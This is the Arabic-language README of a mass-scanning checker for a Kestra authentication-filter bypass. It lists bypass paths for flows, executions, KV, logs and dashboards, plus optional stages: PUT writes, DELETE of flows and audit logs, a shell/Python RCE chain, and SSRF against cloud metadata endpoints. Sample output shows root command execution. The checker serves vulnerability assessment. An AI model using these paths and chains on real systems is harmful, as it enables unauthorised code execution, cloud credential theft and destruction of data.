
Kestra Auth-Bypass Vulnerability Checker
يقوم بفحص نسخ Kestra بحثًا عن تجاوز فلتر المصادقة endsWith("/configs"). يتحقق AuthenticationFilter.java في Kestra من request.getPath().endsWith("/configs") بدلاً من مطابقة المسار التام /api/v1/configs. نظرًا لأن Kestra تعالج الموارد عبر مقاطع مسار يختارها المتصل (مساحة الاسم، معرف التدفق)، فإن أي مسار ينتهي بـ /configs يتجاوز المصادقة الأساسية مما يتيح إنشاء تدفقات غير مصادق عليها وتنفيذ تعليمات برمجية عن بُعد. (CVSS 10.0)
المراجع:
GET /api/v1/configs (يجب أن يعيد 200؛ يُحلل جسم الاستجابة لاستخراج إصدار Kestra)GET /api/v1/{tenant}/flows (يجب أن يعيد 401/403 إذا كانت المصادقة مُطبقة)/configs؛ إذا أعاد أي منها غير 401/403 بينما فحص المصادقة يلزم، فإن المثيل عرضة للخطر--aggressive) يرسل أيضًا طلبات PUT لتأكيد إمكانية التجاوز للكتابة--rce) السلسلة الكاملة: إنشاء تدفق شل/بايثون → تشغيل التنفيذ → استرداد السجلات → تأكيد تنفيذ الأمر → التنظيف--ssrf) ينشئ تدفقًا يستخدم http() من Pebble لاستهداف بيانات تعريف السحابة AWS/GCP/Azure ونقاط النهاية الداخلية، ثم يتحقق من السجلات بحثًا عن أدلة--destructive) يرسل DELETE إلى مسارات تجاوز التدفقات ولوحات المعلومات والسجلات لتأكيد تجاوز العمليات التدميرية| الاختبار | الطريقة | المسار | الوصف |
|---|---|---|---|
| الإعدادات العامة | GET | /api/v1/configs | فحص البقاء + استخراج الإصدار |
| الحماية العادية | GET | /api/v1/{tenant}/flows | أساس تطبيق المصادقة |
| تجاوز التدفقات | GET | /api/v1/{tenant}/flows/{namespace}/configs | تجاوز قائمة التدفقات |
| تجاوز التنفيذات | GET | /api/v1/{tenant}/executions/{namespace}/configs | تجاوز التنفيذ |
| تجاوز مخزن KV | GET | /api/v1/{tenant}/namespaces/{namespace}/kv/configs | تجاوز قراءة KV |
| تجاوز لوحات المعلومات | GET | /api/v1/{tenant}/dashboards/configs | تجاوز لوحة المعلومات |
| تجاوز السجلات | GET | /api/v1/{tenant}/logs/{namespace}/configs | تجاوز الوصول للسجلات |
| تجاوز القوالب | GET | /api/v1/{tenant}/templates/{namespace}/configs | تجاوز قراءة القالب |
--aggressive)| الاختبار | الطريقة | المسار | الوصف |
|---|---|---|---|
| تجاوز PUT للتدفقات | PUT | نفس تجاوز التدفقات | ينشئ تدفقًا بسيطًا debug.Return |
| تجاوز PUT لـ KV | PUT | نفس تجاوز KV | ينشئ إدخال KV {"scanned": true} |
--destructive)| الاختبار | الطريقة | المسار | الوصف |
|---|---|---|---|
| تجاوز DELETE للتدفقات | DELETE | نفس تجاوز التدفقات | يحذف موردًا باسم "configs" |
| تجاوز DELETE للوحات المعلومات | DELETE | نفس تجاوز لوحات المعلومات | يحذف لوحة معلومات باسم "configs" |
| تجاوز DELETE للسجلات | DELETE | نفس تجاوز السجلات | يدمر سجلات التدقيق |
--rce)تعمل فقط عند تأكيد تجاوز المصادقة. السلسلة الكاملة من الإعلان الأمني:
| الخطوة | الطريقة | المسار | الوصف |
|---|---|---|---|
| 1. إنشاء تدفق RCE | PUT | /api/v1/{tenant}/flows/{namespace}/configs | ينشر تدفقًا باستخدام io.kestra.plugin.scripts.shell.Commands (echo <marker>، id، hostname). يتراجع إلى io.kestra.plugin.scripts.python.Script في حالة الفشل. |
| 2. تشغيل التنفيذ | POST | /api/v1/{tenant}/executions/{namespace}/configs | يبدأ التدفق عبر مسار التجاوز |
| 3. استقصاء السجلات | GET | /api/v1/{tenant}/logs/search?executionId=<id> | يستقصي حتى --poll-retries مرة (افتراضي 10) كل --poll-interval ثانية (افتراضي 3) بحثًا عن علامة RCE الفريدة |
| 4. التنظيف | DELETE | نفس الخطوة 1 | يزيل التدفق المنشور |
--ssrf)تعمل فقط عند تأكيد تجاوز المصادقة:
| الخطوة | الطريقة | المسار | الوصف |
|---|---|---|---|
| 1. إنشاء تدفق SSRF | PUT | /api/v1/{tenant}/flows/{namespace}/configs | ينشر مهمة debug.Return مع استدعاءات Pebble http() إلى AWS (169.254.169.254/latest/meta-data/ami-id) و GCP (metadata.google.internal) و Azure (169.254.169.254/metadata/instance) وداخلية (127.0.0.1:8080/api/v1/configs) |
| 2. تشغيل التنفيذ | POST | نفس خطوة RCE 2 | يشغل التدفق |
| 3. استقصاء السجلات | GET | /api/v1/{tenant}/logs/search?executionId=<id> | يتحقق من وجود مؤشرات بيانات تعريف السحابة (ami-، i-، 169.254.169.254، metadata.google.internal، إلخ.) |
| 4. التنظيف | DELETE | نفس الخطوة 1 | يزيل التدفق المنشور |
positional:
target رابط الهدف (مثل http://localhost:8080)
options:
-f, --file ملف يحتوي على أهداف (سطر واحد لكل هدف)
-t, --timeout مهلة الطلب بالثواني (افتراضي: 10)
--verify-ssl التحقق من شهادات TLS
-j, --json إخراج JSON إلى stdout
-o, --output كتابة تقرير JSON إلى ملف
--tenant اسم المستأجر (افتراضي: "main")
--namespace مساحة الاسم لمسارات التجاوز (افتراضي: "tutorial")
-w, --workers عدد الخيوط للمسح الجماعي (افتراضي: 10)
-a, --aggressive إرسال طلبات PUT لتأكيد تجاوز الكتابة
-P, --auto-ports المنافذ للتوسيع التلقائي (افتراضي: 8080 8081 8088 8091 80 443)
advanced probes:
-r, --rce تفعيل سلسلة التحقق من RCE (تدفق شل + بايثون،
تشغيل التنفيذ، استرداد السجلات، التنظيف التلقائي)
-s, --ssrf تفعيل كشف SSRF (Pebble http() لنقاط نهاية بيانات تعريف
السحابة، جمع الأدلة من السجلات)
-d, --destructive تفعيل استكشافات DELETE على التدفقات ولوحات المعلومات
والسجلات (سيحذف الموارد على المثيلات الضعيفة)
--poll-interval الثواني بين استقصاءات السجلات لسلاسل RCE/SSRF (افتراضي: 3)
--poll-retries الحد الأقصى لمحاولات استقصاء السجلات لسلاسل RCE/SSRF (افتراضي: 10)
تفصيل كامل لكل اختبار مع إثراء (الإصدار، حالة RCE، SSRF، DELETE) والحكم:
====================================================================
Target: http://10.0.0.1:8080
Timestamp: 2026-06-30T12:00:00+00:00
====================================================================
Version: 1.3.20 (AFFECTED)
RCE: CONFIRMED via shell
| SCAN_RCE_a1b2c3d4e5f6
| uid=0(root) gid=0(root) groups=0(root)
SSRF: DETECTED
| Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
DELETE BYPASS: CONFIRMED destructive ops bypass auth
[Flows Bypass]
URL: http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
Status: 200
Bypass: YES
[Exec Bypass]
URL: http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
Status: 404
Bypass: No
...
── RCE Verification Chain ──
Flow Create: 201
Exec Trigger: 201
Log Evidence: 200
> SCAN_RCE_a1b2c3d4e5f6
> uid=0(root) gid=0(root) groups=0(root)
Flow Cleanup: 204
── SSRF Detection Chain ──
Flow Create: 201
Exec Trigger: 201
Evidence: 200
Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
Flow Cleanup: 204
[VULN] Verdict: VULNERABLE ...
====================================================================
جدول عمودي مرتب مع أعمدة RCE/SSRF/DEL: